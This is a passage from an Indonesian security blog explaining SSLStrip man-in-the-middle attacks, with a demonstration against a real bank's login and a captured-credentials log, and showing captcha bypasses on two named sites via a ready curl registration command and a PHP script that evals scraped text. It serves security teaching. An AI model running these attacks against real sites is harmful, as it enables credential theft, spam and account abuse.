Teknik Komputer Dan Jaringan

Tahukah Anda bhwa mmbuat kesalahan adalah sesuatu yang perlu. Kita tidak pernah betul-betul hidup – sampai kita mulai membuat kesalahan, karena kesalahan adalah biaya yang harus dibayar untuk mencapai keberhasilan. (suroso ediyanto)

Https (http over SSL) sebenarnya adalah protokol yang sangat aman, protokol ini menjamin keamanan data dari browser hingga web server. MITM attack (man in the middle) tidak bisa dilakukan terhadap https karena https memiliki fitur authentication sehingga attacker tidak bisa menyamar sebagai web server. Walaupun mitm attack tidak bisa dilakukan terhadap https, namun attacker tetap bisa menyerang user yang menggunakan http sebagai pintu masuk menuju https. Dalam artikel ini saya akan jelaskan tentang SSLStrip, sebuah tool yang dibuat oleh Moxie Marlinspike untuk melakukan serangan mitm terhadap pengguna situs yang dilindungi dengan https.

SSL is not vulnerable to MITM attack

MITM attack adalah serangan dimana attacker berada di tengah bebas mendengarkan dan mengubah percakapan antara dua pihak. Jadi dengan serangan MITM ini attacker tidak hanya pasif mendengarkan, tetapi juga aktif mengubah komunikasi yang terjadi. Sebagai contoh, pada percakapan antara Alice dan Bob, Charlie menjadi pihak yang ditengah melakukan MITM attack. Charlie tidak hanya bisa mendengarkan percakapan itu, namun juga bisa mengubah percakapannya. Ketika Alice berkata “Besok makan siang jam 7″, Charlie bisa mengubahnya menjadi “Besok makan siang dibatalkan” sehingga Bob mengira makan siang dengan Alice tidak jadi.

Kenapa MITM attack bisa terjadi? MITM attack bisa terjadi karena sebelum berkomunikasi kedua pihak tidak melakukan authentication. Authentication berguna untuk memastikan identitas pihak yang berkomunikasi, apakah saya sedang berbicara dengan orang yang benar, atau orang ke-3 (the person in the middle) ? Tanpa authentication Alice akan mengira sedang berbicara dengan Bob, sedangkan Bob juga mengira sedang berbicara dengan Alice, padahal bisa jadi sebenarnya Alice sedang berbicara dengan Charlie dan Bob juga sedang berbicara dengan Charlie, sehingga Charlie bertindak sebagai “the person in the middle”. Seharusnya sebelum Alice dan Bob berbicara, harus ada authentication, untuk memastikan “Who are you speaking with?”. Alice harus memastikan “Are you really Bob? Prove it!”, sedangkan Bob juga harus memastikan “Are you really Alice? Prove it!”.

SSL adalah protokol yang memiliki tingkat keamanan sangat tinggi. SSL tidak hanya mengatur tentang enkripsi, namun juga mengatur tentang authentication sehingga SSL tidak rentan terhadap serangan man in the middle. SSL menggunakan sertifikat yang memanfaatkan kunci publik dan kunci private sebagai cara untuk melakukan authentication. Dengan menggunakan sertifikat SSL ini, pengunjung web bisa yakin sedang berkomunikasi dengan web server yang benar, bukan attacker in the middle yang menyamar menjadi web server suatu situs.

Attacker yang mencoba menjadi “the person in the middle”, akan dengan mudah ketahuan karena attacker tidak bisa membuktikan identitasnya dengan sertifikat SSL yang sah. Sertifikat SSL yang sah haruslah ditandatangani oleh CA (certificate authority) yang dipercaya dan tersimpan dalam daftar trusted CA browser. Jadi bila attacker mencoba membuat sertifikat SSL sendiri, browser akan memberi peringatan keras pada pengunjung bahwa sertifikat SSL tidak bisa dipercaya dan pengunjung disarankan untuk membatalkan kunjungan karena beresiko terkena serangan mitm. Serangan mitm attack baru bisa berhasil bila pengunjung tetap bandel dan nekat untuk menggunakan sertifikat palsu tersebut. Bila ini yang terjadi, maka kesalahan ada pada pengguna, bukan kelemahan SSL sebagai protokol. Lebih detil tentang https silakan baca Understanding Https.

HTTPS vs HTTP, Trusted vs Untrusted

http adalah protokol yang tidak bisa dipercaya karena rentan terhadap serangan mitm. Sedangan http over SSL (https) adalah protokol yang bisa dipercaya karena protokol ini tidak rentan terhadap serangan mitm. Informasi yang dilihat pengunjung pada browser di sebuah page http sebenarnya tidak bisa dipercaya karena tidak ada jaminan integritas dan keontentikan data. Informasi tersebut kemungkinan sudah diubah di tengah jalan atau berasal dari sumber yang tidak otentik (orang lain). dan pengunjung tidak bisa melakukan verifikasi.

Sedangkan informasi yang dilihat pengunjung pada browser di sebuah halaman https bisa dipercaya karena DIJAMIN informasi yang diterima adalah sama dengan yang dikirim web server dan informasi tersebut juga DIJAMIN dikirim oleh web server yang benar. Dulu saya pernah menulis artikel tentang Trusted vs Untrusted klikBCA, yang menjelaskan tentang adanya dua subdomain yang berbeda, yang trusted menggunakan https dan yang untrusted menggunakan http.

HTTP as Gate to HTTPS

Jarang sekali orang mengunjungi situs dengan mengetikkan https:// bahkan http:// pun orang sudah malas. Kebanyakan orang langsung mengetikkan alamat situs yang ditujunya tanpa harus diawali dengan http:// atau https://. Secara default browser akan berasumsi bahwa pengunjung akan menggunakan protokol http, bukan https bila pengunjung tidak menyebutkan protokolnya.

Kebanyakan situs yang harus memakai https, memang dirancang untuk menerima request melalui http (port 80) atau https (port 443). Situs pada port 80 biasanya hanya dijadikan jembatan untuk menuju situs yang sebenarnya pada port 443. Bila pengunjung masuk melalui port 80, maka server akan memberikan link untuk menuju URL https, atau dengan memberikan response Redirect.

Jadi bisa disimpulkan bahwa sebagian besar pengunjung memasuki https dengan melalui http, dengan kata lain http sebagai gerbang menuju https. Metode peralihan dari situs http ke situs https ada beberapa cara, yaitu:

  • Memberikan link menuju URL https.
  • Memberikan response redirect ke URL https.
  • Menggunakan META tag auto refresh ke URL https.
  • Menggunakan javascript untuk load halaman https.

Attacking HTTP, not HTTPS

Sebelumnya sudah saya jelaskan bahwa https adalah protokol yang sangat secure sehingga tidak bisa diserang dengan serangan mitm. Namun mengingat kenyataan bahwa kebanyakan orang mengakses https melalui http, maka attacker memiliki peluang untuk menyerang ketika pengunjung masih berada dalam protokol http.

SSLStrip adalah tool untuk melakukan mitm attack pada protokol http (bukan HTTPS), dengan maksud untuk menyerang situs-situs yang dilindungi dengan https. SSLStrip sebagai “the person in the middle”, akan mencegah peralihan dari http ke https dengan secara aktif mengubah response dari server sehingga pengunjung akan tetap berada dalam protokol http.

Mari kita lihat beberapa cara peralihan dari http ke https, saya tambahkan cara SSLStrip mencegah peralihan itu:

  • Memberikan link menuju URL https: SSLStrip akan mengubah link berawalan https menjadi http. Sehingga yang muncul di browser korban bukan link ke https melainkan link ke http.
  • Memberikan response redirect ke URL https: SSLStrip akan mengubah header Location dari URL berawalan https menjadi http.
  • Menggunakan META tag auto refresh ke URL https: SSLStrip akan mengubah url https menjadi http.
  • Menggunakan javascript untuk load halaman https: SSLStrip akan mengubah url https menjadi http.

Untuk lebih jelasnya berikut adalah gambar yang menunjukkan salah satu cara kerja SSLStrip mencegah korban beralih dari http ke https.

Opening Bank Front Page

Opening Bank Front Page

Pada gambar di atas korban mengakses web server bank dengan URL http://bank/. Request tidak secara langsung dikirim ke web server, namun melalui SSLStrip dulu. SSLStrip meneruskan request tersebut ke web server. Kemudian web server menjawab dengan memberikan html berisi link ke URL https://bank/login/ kepada SSLStrip. Sebelum response html diterima oleh browser, SSLStrip mengubah response tersebut dengan mengubah URL https menjadi http biasa sehingga HTML yang diterima di browser korban berisi link ke URL http://bank/login/ bukan https://bank/login/.

Opening login page

Opening login page

Korban mengklik link pada halaman yang muncul browsernya, tentu saja link ini bukan ke https://bank/login/ melainkan ke http://bank/login/. Dengan cara ini browser tetap dalam protokol http bukan dalam protokol https seperti seharusnya, dengan kata lain SSLStrip berhasil mencegah browser beralih ke protokol https. Request ke http://bank/login/ tersebut dikirimkan ke SSLStrip. Kemudian SSLStrip tidak meneruskan request tersebut ke http://bank/login/, melainkan membuat request baru ke https://bank/login/. Kemudian web server mengirimkan response dari response tersebut ke SSLStrip. Seperti biasanya SSLStrip akan mengubah response dari server tersebut untuk mencegah peralihan ke https. Response yang telah diubah ini kemudian dikirimkan ke browser korban sehingga korban tetap melihat halaman yang sama persis seperti ketika dia membuka https://bank/login/. Dengan tampilan yang sama persis ini, korban mengira sedang membuka https://bank/login/, padahal sebenarnya dia sedang membuka http://bank/login/. Perhatikan bahwa koneksi antara browser dengan SSLStrip adalah dalam http biasa, sedangkan dari SSLStrip ke web server dalam https.

submit username and password

submit username and password

Setelah muncul halaman login dan korban mengira sedang membuka https://bank/login, kemudian korban memasukkan username dan password dan mengklik tombol Login. Browser akan membuat POST request ke http://bank/login/ yang diterima oleh SSLStrip. Karena protokolnya adalah http, maka SSLStrip dengan mudah bisa membaca username dan password yang dimasukkan korban. SSLStrip kemudian akan mengirimkan username dan password korban degan POST request ke https://bank/login/. Seperti biasa jawaban dari webserver akan dimodifikasi dulu seperlunya oleh SSLStrip sebelum dikirimkan ke browser korban.

Perhatikan bahwa korban sejak awal hingga login mengakses situs dengan http, sedangkan SSLStrip di tengah-tengah membuat koneksi https ke web server yang sebenarnya. Jadi walaupun browser mengakses dengan http, namun response yang diterima browser berasal dari koneksi https yang dibuat oleh SSLStrip.

Case Study: Mandiri Internet Banking

Mari kita coba trik di atas dengan contoh kasus pada situs internet banking Mandiri. Karena ini hanya contoh, saya tidak menggunakan teknik ARP Spoofing untuk melakukan MITM attack yang sesungguhnya. Saya sengaja mengubah setting browser saya agar menggunakan proxy, yaitu SSLStrip. Dalam website SSLStrip, disebutkan seharusnya cara untuk melakukan MITM attack dengan SSLStrip adalah:

  • Setting komputer agar bisa melakukan forwarding paket
  • Setting iptables untuk mengarahkan traffic HTTP ke SSLStrip
  • Jalankan SSLStrip
  • Gunakan ARPSpoof untuk meyakinkan jaringan bahwa traffic harus dikirimkan melalui komputer yang menjalankan SSLStrip.

Dalam contoh ini saya tidak melakukan ARPSpoofing, namun saya menggunakan SSLStrip sebagai proxy yang saya setting dalam browser saya. Sehingga setiap traffic http yang dilakukan browser saya akan dikirimkan melalui SSLStrip sebagai man in the middle.

Saya menjalankan SSLStrip di linux dengan IP address 192.168.0.10. Cara menjalankannya mudah sekali, cukup jalankan perintah: python sslstrip.py -l portnumber . Kemudian pada browser saya setting untuk menggunakan proxy 192.168.0.10 dan port sesuai dengan port sslstrip. Untuk lebih jelasnya, perhatikan gambar di bawah ini:

setting up SSLStrip as proxy in IE

setting up SSLStrip as proxy in IE

Setelah semuanya siap, mari kita coba melakukan serangan mitm. Pada skenario ini, korban akan login ke Mandiri IB tidak dengan mengetikkan https://ib.bankmandiri.co.id, karena korban hanya hafal bankmandiri.co.id saja maka korban langsung mengetikkan bankmandiri.co.id (tanpa diawali www atau http://). Secara default browser akan menganggap korban menghendaki koneksi dengan protokol http, bukan https. Request http tersebut dikirimkan melalui SSLStrip sebagai man in the middle, dan berikut adalah response yang diterima di browser korban. Sebagai pembanding saya juga berikan gambar screenshot halaman depan bank mandiri yang asli (tidak dimodifikasi sslstrip).

bank mandiri front page modified by sslstrip

bank mandiri front page modified by sslstrip

real mandiri front page (not modified)

real mandiri front page (not modified)

Login ke Mandiri IB dilakukan dengan mengklik tombol Login di halaman depan bank mandiri. Login tersebut sebenarnya adalah link ke URL https, namun SSLStrip mengubahnya menjadi http agar korban tidak beralih ke modus https. Berikutnya korban akan mengklik tombol Login, sehingga browser akan mengakses URL http://ib.bankmandiri.co.id (bukan https://). Berikut adalah gambar screenshot halaman login Mandiri IB yang telah dimodifikasi sslstrip dan yang masih asli. Kedua gambar di bawah ini sangat mirip, perbedaannya hanya pada penggunaan awalan http:// dan https://. Saya yakin kebanyakan orang tidak akan menyadari bahwa dia sedang menggunakan http biasa, bukan https.

Mandiri IB login page modified by sslstrip

Mandiri IB login page modified by sslstrip

real login page, https version and not modified

real login page, https version and not modified

Berikutnya setelah bertemu dengan halaman login, korban akan dengan senang hati memasukkan username dan password. Request tersebut dikirimkan dalam request POST http (bukan https) ke sslstrip. Karena POST dikirim melalui http, maka sslstrip bisa dengan mudah menyimpan username dan password korban.Berikut ini adalah log dari sslstrip yang menangkap username dan password Mandiri IB.

1
2
3
2009-05-06 12:00:43,339 Sending header: content-type: application/x-www-form-urlencoded
2009-05-06 12:00:43,339 Sending header: proxy-connection: Keep-Alive
2009-05-06 12:00:43,339 POST Data (ib.bankmandiri.co.id): action=result&userID=sensordong&password=rahasiabangetsensor&image.x=79&image.y=20

Setelah itu sslstrip akan mengirimkan username dan password korban dalam POST request ke URL https (ini adalah url submit yang asli). Response yang diberikan oleh webserver Mandiri IB akan dimodifikasi seperlunya dan dikembalikan ke browser korban. Bila login berhasil, maka korban akan melihat tampilan seperti gambar dibawah ini, sebagai pembanding saya juga sertakan gambar bila menggunakan protokol https.

login success page in http mode, modified by sslstrip

login success page in http mode, modified by sslstrip

real login success page, https mode, not modified

real login success page, https mode, not modified

Seperti pada halaman login, halaman setelah login berhasil juga sama persis walaupun menggunakan protokol http. Korban tidak akan menyadari bahwa dia sedang menggunakan http, bukannya https karena tampilannya memang tidak ada bedanya.

Tips Pencegahan

Serangan mitm dengan sslstrip ini dilakukan dengan memanfaatkan kemalasan pengguna untuk langsung menggunakan https. Pengguna yang malas memilih untuk menggunakan http biasa dan berharap di-redirect ke url https otomatis atau menemukan link ke url https. Padahal pada saat pengguna menggunakan http biasa itulah pengguna berpotensi terkena serangan mitm. Bila pengguna langsung menggunakan https, maka pengguna akan aman dan terbebas dari serangan mitm. Jadi mulai sekarang biasakanlah mengetikkan https:// di URL anda bila ingin mengakses situs yang sensitif.

Sudah banyak artikel di ilmuhacking yang membahas teknik serangan man in the middle (mitm), namun belum pernah saya menjelaskan secara detil tentang apa itu mitm attack. Mitm attack merupakan jenis serangan yang sangat berbahaya dan bisa terjadi di mana saja, baik di website, telepon seluler, maupun di peralatan komunikasi tradisional seperti surat menyurat. Oleh karena itu saya pikir perlu ada satu artikel khusus yang membahas tentang mitm attack terlepas dari apapun dan dimanapun implementasi teknisnya.

Bukan Sekedar Sniffing

Mungkin banyak yang mengira tujuan dari serangan mitm adalah untuk menyadap komunikasi data rahasia, seperti yang sniffing. Sniffing bisa disebut sebagai passive attack karena pada sniffing attacker tidak melakukan tindakan apa-apa selain memantau data yang lewat. Memang benar dengan serangan mitm, seorang attacker bisa mengetahui apa yang dibicarakan oleh dua pihak yang berkomunikasi. Namun sebenarnya kekuatan terbesar dari mitm bukan pada kemampuan sniffingnya, namun pada kemampuan mencegat dan mengubah komunikasi sehingga mitm attack bisa disebut sebagai jenis serangan aktif.

Gambar di bawah ini adalah skenario yang bisa dilakukan attacker dengan serangan mitm.

mitm scenario: sniffing,intercepting,tampering,fabricating

sniffing,intercepting,tampering,fabricating

Pada gambar tersebut terlihat ada 4 macam serangan yang bisa dilakukan dengan MITM. Berikut adalah penjelasan dari jenis serangan tersebut dalam skenario seperti gambar di atas.

  • Sniffing: Charlie mengetahui semua pembicaraan antara Alice dan Bob.
  • Intercepting: Charlie mencegat pesan dari Alice ketika Alice ingin menutup percakapan dengan “Bob I’m going to sleep, Bye!”. Dengan begini Bob mengira Alice masih berkomunikasi dengannya.
  • Tampering: Charlie mengubah jawaban Bob kepada Alice dari account Paypal bob menjadi charlie.
  • Fabricating: Charlie menanyakan nomor social security number kepada Bob, padahal pertanyaan ini tidak pernah diajukan oleh Alice.

Dengan cara mitm ini bisa dibayangkan betapa besar potensi kerusakan yang bisa dilakukan Charlie kepada Alice dan Bob.

Proses Terjadinya Serangan Man-in-The-Middle

Dalam serangan mitm, seorang attacker akan berada di tengah-tengah komunikasi antara dua pihak. Seluruh pembicaraan yang terjadi di antara mereka harus melalui attacker dulu di tengah. Attacker dengan leluasa melakukan penyadapan, pencegatan, pengubahan bahkan memalsukan komunikasi seperti yang sudah saya jelaskan sebelumnya.

Sekarang mari kita lihat proses terjadinya MITM dalam contoh kasus Alice berkomunikasi dengan Bob. Charlie sebagai attacker akan berusaha berada di tengah antara Alice dan Bob. Agar Charlie berhasil menjadi orang ditengah, maka Charlie harus:

  • menyamar sebagai Bob dihadapan Alice
  • menyamar sebagai Alice dihadapan Bob
Charlie acts as fake Bob and fake Alice

Charlie acts as fake Bob and fake Alice

Dalam mitm, Alice mengira sedang berbicara dengan Bob, padahal dia sedang berbicara dengan Charlie. Begitu juga Bob, dia mengira sedang berbicara dengan Alice, padahal sebenarnya dia sedang berbicara dengan Alice. Jadi agar bisa menjadi orang di tengah Charlie harus bisa menyamar di dua sisi, tidak bisa hanya di satu sisi saja.

Kenapa Alice dan Bob bisa terjebak dan tertipu oleh Charlie? Itu karena Alice dan Bob tidak melakukan otentikasi dulu sebelum berkomunikasi. Otentikasi akan menjamin Alice berbicara dengan Bob yang asli, bukan Bob palsu yang diperankan oleh Charlie. Begitu juga dengan otentikasi, Bob akan berbicara dengan Alice yang asli, bukan Alice palsu yang diperankan oleh Charlie.

Pentingnya Otentikasi: Who Are You Speaking With?

Otentikasi adalah proses untuk membuktikan identitas suatu subjek, bisa orang atau mesin. Proses membuktikan identitas seeorang ada banyak cara, namun semuanya bisa dikelompokkan dalam 3 kategori:

  • What you know: PIN, password, pasangan kunci publik-privat
  • What you have: smart card, kunci, USB dongle
  • What you are: fingerprint, retina

Secara singkat otentikasi menjawab pertanyaan “Who are you speaking with?”. Pertanyaan itu sangat penting diketahui sebelum dua pihak berkomunikasi. Bila dua pihak berkomunikasi tanpa sebelumnya melakukan otentikasi, maka keduanya bisa terjebak berbicara dengan orang yang salah, yaitu orang yang menyamar menjadi lawan bicaranya. Bila sampai ini terjadi maka akibatnya bisa sangat fatal, salah satunya adalah terjadinya mitm attack.

Bila dua orang yang sudah saling mengenal berbicara dengan tatap muka langsung, maka tidak mungkin keduanya terjebak dan tertipu berbicara dengan orang yang salah. Otentikasi menjadi sangat penting bila kedua pihak berbicara melalui media komunikasi jarak jauh seperti telpon atau internet. Dalam komunikasi jarak jauh, kita hanya bisa mendengar suara lawan bicara kita, jadi sangat besar kemungkinan kita berbicara dengan orang yang salah.

Jadi cara untuk mencegah serangan MITM adalah dengan melakukan otentikasi sebelum berkomunikasi. Bahkan walaupun otentikasi dilakukan oleh salah satu pihak saja, itu sudah cukup untuk mencegah mitm. Mari kita lihat kembali contoh Alice, Bob dan Charlie, bila otentikasi hanya dilakukan oleh Bob, sedangkan Alice tidak. Karena tidak adanya otentikasi Alice, maka Charlie bisa menyamar sebagai Alice di hadapan Bob, namun Charlie tidak bisa menyamar sebagai Bob di hadapan Alice. Kenapa Charlie tidak bisa menyamar menjadi Bob? Sebab Alice akan menguji keaslian Bob dengan otentikasi, sehingga penyamaran Charlie sebagai Bob palsu akan terbongkar dan Alice tidak akan mau melanjutkan komunikasi.

Captcha kini menjadi andalan webmaster untuk membendung spam. Captca yang dimaksudkan untuk membedakan antara mesin dan manusia, tidak bisa dibuat secara sembarangan. Bila captcha dibuat sembarangan, maka fungsi dari captcha menjadi tidak ada karena mesin bisa dengan mudah menembusnya, bahkan mungkin justru mempersulit manusia. Dalam artikel ini saya akan menunjukkan dua contoh captcha yang salah kaprah karena soal yang disajikan sulit dikerjakan manusia, namun mudah bagi mesin.

Bagaimana Seharusnya Captcha?

Captcha adalah soal yang dibuat oleh mesin dan dirancang hanya bisa dijawab dengan sempurna oleh manusia, bukan oleh mesin. Jadi sesuai definisi tersebut, captcha haruslah memiliki kriteria:

  • Tidak bisa dijawab mesin dengan sempurna
  • Mudah dijawab manusia

Captcha harus dirancang sedemikian hingga memenuhi kriteria di atas. Jadi kalau sampai ada captcha yang mempermudah mesin dan mempersulit manusia itu sebenarnya bukan captcha. Seperti apa bentuk captcha yang baik? Sebelumnya mari kita lihat dulu berbagai bentuk penyimpanan informasi.

Informasi dalam komputer bisa direpresentasikan dalam berbagai bentuk, mulai dari yang paling sederhana sampai paling kompleks:

  • Text
  • Image dan Suara
  • Video

Text adalah bentuk penyimpanan informasi paling primitif dan sederhana. Informasi yang diambil dari text tidak memerlukan pemrosesan apa-apa, sehingga bisa langsung diambil mesin. Mesin tidak akan mengalami kesulitan mendapatkan informasi dalam bentu text.

Bentuk yang lebih rumit lagi adalah image dan suara. Image dan suara dalam komputer disimpan dalam bentuk kumpulan warna pixel atau frekuensi suara kamudian diencode dalam format tertentu. Image dan suara mengandung informasi yang tersirat, implisit. Informasi dalam image dan suara harus diproses dengan perhitungan dan komputasi yang kompleks untuk bisa menangkap informasi yang ada di dalamnya.

Bentuk yang paling kompleks lagi adalah video. Video adalah kumpulan image dan suara yang disusun sedemikian rupa sehingga menampilkan animasi. Walaupun memilii tingkat kompleksitas tertinggi, jarang ada captcha dalam bentuk video karena pertimbangan besarnya ukuran file video dibandingkan file gambar atau suara.

Jadi bentuk captcha yang paling umum adalah berupa image. Informasi dalam image tidak mudah dibaca mesin, namun dari segi ukuran juga tidak terlalu besar. Namun tidak semua captcha berupa image adalah captcha yang baik, karena bila kode dalam captcha terlalu bersih, mesin bisa membaca dengan sempurna. Silakan baca artikel saya tentang bagaimana menjebol catpcha dengan OCR (optical character reader).

Alur penyelesaian captcha biasanya terdiri dari 2 langkah. Langkah pertama adalah langkah menerima soal, browser meminta suatu halaman ke web server, kemudian web server mengirimkan form HTML dan captcha yang harus dijawab. Setelah pengguna mengisi form dan jawaban captchanya, langkah kedua adalah langkah menjawab soal. Browser mengirimkan POST submit beserta jawaban captcha kembali ke webserver. Gambar berikut menunjukkan alur umum penyelesaian captcha.

captcha flow

captcha flow

Captcha Salah Kaprah

Saya menemukan beberapa website yang menggunakan captcha yang saya sebut salah kaprah karena captcha tersebut bukannya mempersulit mesin, namun justru memudahkan mesin, bahkan mempersulit manusia. Seharusnya captcha tidak boleh mempersulit manusia, tapi harus mempersulit mesin.

Ternyata banyak juga webmaster yang masih kurang paham apa itu captcha dan bagaimana seharusnya captcha yang baik itu. Banyak webmaster yang hanya berpikir bahwa bila situsnya sudah diberi captcha, maka situsnya akan aman dari spammer. Padahal tidak semua captcha itu baik, captcha yang terlalu mudah dibaca mesin, tidak ada gunanya sama sekali, justru malah mempersulit pengguna dan membuat pengguna menjauhi situs tersebut.

Mari kita bahas contoh captcha salah kaprah pada situs republika dan infogue.

Breaking Captcha InfoGue.com

infoguelogo

Infogue.com adalah situs social bookmark lokal. Pengguna bisa memasukkan link untuk direview dan diberi point oleh pembaca yang lain. Social bookmark kini menjadi salah satu senjata andalan webmaster untuk mendongkrak popularitas situsnya dan meningkatkan pengunjung situs. Oleh karena itu situs social bookmark menjadi rawan akan serangan spammer yang ingin meningkatkan popularitas situsnya di search engine.

Dalam artikel ini akan saya contohnya bagaimana menembus captcha pada saat registrasi. Registrasi dilakukan dengan membuka URL http://www.infogue.com/registration/, kemudian pendaftar harus mengisi form pendaftaran, termasuk juga kode captcha. Berikut adalah tampilan web pada saat registrasi dilakukan.

captcha registrasi

captcha registrasi

Kesalahan 1: Captcha Terdiri dari 6 Gambar Terpisah

Pada gambar di atas terlihat pada saat registrasi, pendaftar harus memasukkan kode captcha. Hal ini dimaksudkan webmaster situs tersebut agar tidak ada mesin/robot yang coba-coba mendaftar. Tapi mari kita lihat lebih detil lagi captcha pada form tersebut. Bila captcha tersebut dilihat dengan Addon Web Developer di Firefox, akan terlihat bahwa sebenarnya captcha itu bukan satu image tunggal, melainkan terdiri dari 6 gambar terpisah. Perhatikan gambar berikut ini.

looks like one single image

looks like one single image

Gambar berikut ini adalah gambar bila captcha dilihat dengan Addon Web Developer.

6 different images

6 different images

Terlihat bahwa gambar diatas bahwa captcha tersebut sebenarnya adalah 6 gambar yang berbeda. Lebih parah lagi adalah nama file dari gambar tersebut mencerminkan kode dalam gambar tersebut, sebagai contoh adalah file bernama k.jpg untuk gambar berkode huruf “k”. Kalau kita lihat source code dari halaman registrasi tersebut, maka kita akan temukan nama-nama file gambar tersebut. Berikut adalah potongan source html dari halaman registrasi tersebut.








Dari source html tersebut terlihat jelas nama file gambar untuk setiap karakter captcha. Karena itu adalah source html, maka nama file tersebut tersaji dalam bentuk teks. Karena nama-nama file tersebut adalah jawaban dari captcha, maka untuk menembus captcha tersebut mesin hanya perlu membaca nama-nama file gambar dari source html yang didapatkan. Ingat bahwa bentuk penyimpanan informasi paling primitif adalah teks sehingga mesin tidak akan kesulitan untuk menjawab captcha tersebut karena mesin hanya perlu mendapatkan nama-nama filenya saja. Mesin tidak perlu sama sekali mendownload gambar capthanya, cukup tahu nama filenya saja dari source htmlnya saja untuk menjawab captcha dengan sempurna.

Kesalahan 2: Jawaban Disimpan dalam Hidden Field

Ternyata kesalahan captcha pada infogue bukan cuma itu, namun kesalahan yang lebih fatal lagi adalah menyimpan jawaban capctha dalam hidden field. Kalau kita perhatikan field-field pada form, maka ada field bertipe “hidden” yang bernama captcha_code. Dengan Addon Web Developer kita bisa melihat detil field pada form. Perhatikan gambar di bawah ini untuk melihat field dalam form.

captcha_code hidden field

captcha_code hidden field

Jadi selain dengan membaca nama file gambar seperti pada kesalahan 1 di atas, cara lain yang lebih mudah adalah dengan membaca isi hidden field captcha_code pada source htmlnya.

Kesalahan 3: Jawaban Captcha Bisa Apa Saja

Kesalahan ini adalah kesalahan yang paling aneh. Sebelumnya sudah saya sebutkan pada kesalahan ke-2 bahwa ada hidden field (“input type=hidden”) bernama captcha_code. Ternyata fungsi dari captcha_code ini adalah sebagai kunci jawaban dari captcha. Agar lebih jelas, mari kita lihat traffic HTTP yang terjadi ketika form registrasi disubmit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://www.infogue.com/registration/index.php

POST /registration/index.php HTTP/1.1
Host: www.infogue.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.2.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.infogue.com/registration/
Cookie: PHPSESSID=bc1c8c242bcae4dc408e4462d6561568; PHPSESSID=bc1c8c242bcae4dc408e4462d6561568
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
user_name=coba56789&email=coba56789%40testemail.com&passwordx=coba56789&passwordy=coba56789&name=coba56789&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba56789&country=US&code=vycpiq&captcha_code=vycpiq&register-terms=1&submit=lanjut

Perhatikan pada data yang disubmit, ada dua field penting yang terkait dengan captcha. captcha_code dan code. Kedua field ini isinya harus sama agar test captcha dikatakan sukses. Jadi sebenarnya kita tidak perlu menjawab captcha sesuai dengan soal yang diminta, kita bisa memberikan jawaban apa saja yang kita mau. Caranya adalah dengan mengisi captcha_code dan code dengan isi yang sama pada saat submit form data.

Sebelumnya saya sudah menjelaskan bahwa alur penyelesaian captcha terdiri dari 2 langkah, langkah menerima soal dan menjawab soal. Nah dengan kesalahan ini, maka kita tidak perlu tahu soalnya, kita bisa langsung mengirimkan (submit) form dan mengirimkan jawaban captcha apa saja yang kita mau. Gambar berikut menunjukkan alur penyelesaian captcha di infogue.

captcha flow infogue

captcha flow infogue

Mari kita coba untuk membuat user dengan command line di linux.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ curl -vvv -s "http://www.infogue.com/registration/" -d "user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba126&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba126&country=US&code=sukasuka&captcha_code=sukasuka&register-terms=1&submit=lanjut"
* About to connect() to www.infogue.com port 80
* Trying 202.6.233.86... connected
* Connected to www.infogue.com (202.6.233.86) port 80
> POST /registration/ HTTP/1.1
> User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: www.infogue.com
> Accept: */*
> Content-Length: 241
> Content-Type: application/x-www-form-urlencoded
>
> user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba126&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba126&country=US&code=sukasuka&captcha_code=sukasuka&register-terms=1&submit=lanjut

< phpsessid="4fa4fd914ae3ac923c6206ffe0e69a82;" path="/" check="0," check="0" phpsessid="4fa4fd914ae3ac923c6206ffe0e69a82;" expires="Wed," path="/;" domain=".infogue.com" charset="UTF-8">

Terlihat bahwa respons dari server adalah HTTP 302 ke /user/[username], hal ini menunjukkan bahwa pendaftaran berhasil. Lihat betapa mudahnya membuat user baru tanpa peduli dengan captcha. Hanya dengan membuat POST request dan mengisi captcha dengan “sukasuka”. Jadi perintah di Linux untuk membuat user di infogue sangat sederhana:

curl -s "http://www.infogue.com/registration/" -d "user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba128&gender=1&day=01&month=1&year=2000&poscode=12312&location=manasaja&country=US&code=sukasuka&captcha_code=sukasuka&register-terms=1&submit=lanjut"

Breaking Captcha Republika.co.id
republikalogo

Satu lagi website yang menggunakan captcha yang salah kaprah adalah Republika. Website koran ini memakai captcha agar artikel di webnya tidak dimasuki comment spam. Gambar di bawah ini menunjukkan contoh spam dan source htmlnya.

republika captcha

republika captcha

Captcha dalam bentuk soal matematika ini sangat mudah diselesaikan oleh mesin karena soal ditulis dalam bentuk teks html biasa. Seperti yang sudah kita ketahui bahwa teks adalah bentuk penyimpanan informasi yang paling primitif sehingga sangat mudah dibaca oleh mesin. Jadi kesalahan dari captcha di website republika adalah menggunakan teks sebagai captcha.

Berikut ini adalah script php sederhana yang mengambil berita di website republika kemudian menyelesaikan soal captchanya.

1
2
3
4
5
6
7
8
9
10
11

$url = "http://www.republika.co.id/berita/51040/Ibra_masih_Buka_Peluang_Pergi";
$str = file_get_contents($url);
$pos1 = strpos($str,"security_text_area");
$pos2 = strpos($str,">",$pos1+1);
$pos3 = strpos($str,"<",$pos2+1);
$equation = trim(substr($str,$pos2+1,$pos3-$pos2-1));
$equation = str_replace(" ", "", $equation);
eval("\$hasil=$equation;");
print $equation."=".$hasil."\n";
?>

Mari kita coba jalankan script di atas sebanyak 10 kali. Berikut hasilnya:

1
